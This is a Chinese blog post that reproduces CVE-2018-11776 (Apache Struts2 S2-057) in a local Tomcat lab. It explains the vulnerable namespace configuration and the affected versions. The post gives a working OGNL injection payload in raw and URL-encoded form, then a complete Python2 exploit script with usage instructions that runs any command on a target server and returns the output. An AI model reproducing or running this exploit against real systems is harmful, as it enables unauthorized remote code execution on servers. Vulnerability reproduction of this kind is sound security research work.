CVE-2018-11776漏洞复现

0x01 漏洞概述

2018年8月23日,ApacheStrust2发布最新安全公告,ApacheStruts2 存在远程代码执行的高危漏洞,该漏洞由SemmleSecurity Researchteam的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)。

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
URL标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行,以及系统命令到服务器系统中去 。


0x02 影响版本

Apache struts 2.3-Apache struts 2.3.34

Apache struts 2.5-Apache struts 2.5.16


0x03 漏洞复现

复现环境

  • windows 10
  • jdk1.8.0_191
  • apache-tomcat-7.0.96
  • struts-2.3.34

环境搭建

首先安装jdk,并配置环境变量,不再赘述

下载 apache-tomcat 并解压

下载 Struts-2.3.34 解压,并将apps目录下的 struts2-showcase.war 复制到tomcat的webapps目录下

在tomcat下bin目录下运行startup.bat脚本来启动tomcat,启动后自动部署struts2

浏览器访问 http://127.0.0.1:8080/struts2-showcase,出现如下界面即为部署成功了。

正常部署完成struts如上所示,但为了复现struts2-057漏洞,需要修改如下两个文件(tomcat目录下)

  • D:\Program Files\Java\apache-tomcat-7.0.96\webapps\struts2-showcase\WEB-INF\src\java\struts-actionchaining.xml
  • D:\Program Files\Java\apache-tomcat-7.0.96\webapps\struts2-showcase\WEB-INF\classes\struts-actionchaining.xml

注释掉原来的xml代码,修改如下

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
            <result type="redirectAction">
            <param name = "actionName">register2</param>
            </result>    
        </action>
        <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
            <result type="chain">actionChain3</result>
        </action>
        <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
            <result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>
        </action>
    </package>
</struts>

在tomcat下bin目录下运行shutdown.bat,startup.bat脚本来重启tomcat。
重启tomcat!!!
重启tomcat!!!
重启tomcat!!!
浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建

漏洞利用

在URL构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾
http://127.0.0.1:8080/struts2-showcase/${(50+50)}/actionChain1.action
执行完成之后发现跳转到了
http://127.0.0.1:8080/struts2-showcase/100/register2.action
执行了ognl 表达式 ${(50+50)},漏洞存在

进一步利用漏洞,弹出计算器,构造payload

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

进行URL编码

%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%63%6d%64%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%29%7d

拼接

127.0.0.1:8080/struts2-showcase/%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%63%6d%64%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%29%7d/actionChain1.action

成功执行

EXP

#coding: utf-8
#! python2
import requests
import sys


def expliot(host, command, path):
    '''
    2.3.34版本
    payload1:
    ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()))).(#w.close())}
    2.3.20版本
    payload2:
    ${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()))).(#w.close())}
    '''

    str1 = "${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('" + command + "').getInputStream()))).(#w.close())}"
    str1 = str1.encode('hex')
    str2 = "${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('" + command + "').getInputStream()))).(#w.close())}"
    str2 = str2.encode('hex')

    # 需要进行URL编码
    payload1 = ""
    for i in range(0, len(str1), 2):
        payload1 += '%' + str1[i:i + 2]

    payload2 = ""
    for i in range(0, len(str2), 2):
        payload2 += '%' + str2[i:i + 2]
    url1 = host + '/' + payload1 + '/' + path
    url2 = host + '/' + payload2 + '/' + path

    res1 = requests.get(url1, allow_redirects=False)
    res2 = requests.get(url2, allow_redirects=False)
    if res1.status_code == 200 and res2.status_code != 200:
        print("Exploit successful:")
        print(res1.content)
    elif res2.status_code == 200 and res1.status_code != 200:
        print("Exploit successful:")
        print(res2.content)
    else:
        print('The target is likely unvulnerable,mabye your struts2 version is too high!')


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print("Usage: python s2-057-exp.py http://www.xxx.com/ {command} {The path such as:actionChain1.action}")
    else:
        expliot(sys.argv[1].strip(), sys.argv[2], sys.argv[3].strip())

使用方法:

python2 struts2.py http://www.xxx.com/ {command} {The path such as:actionChain1.action}

例如:
python2 struts2.py http://192.168.50.197:8080/struts2-showcase/ "ipconfig" actionChain1.action


参考文章

CVE-2018-11776漏洞从搭建到复现


   转载规则


《CVE-2018-11776漏洞复现》 dylan 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
upload-labs文件上传漏洞练习 upload-labs文件上传漏洞练习
0x01 前言最近在研究文件上传漏洞,找到一个很好的靶场——upload-labs,一个想帮你总结所有类型的上传漏洞的靶场 ,可以用docker快速搭建,闯关的过程中遇到很多问题,受益匪浅。 0x02 环境搭建使用docker快速搭建,d
2019-08-04
下一篇 
Ciuis CRM 1.6 - 'eventType' SQL Inj.复现 Ciuis CRM 1.6 - 'eventType' SQL Inj.复现
0x01 漏洞详情=========================================================================================== # Exploit Title: Ci
2019-08-01
  目录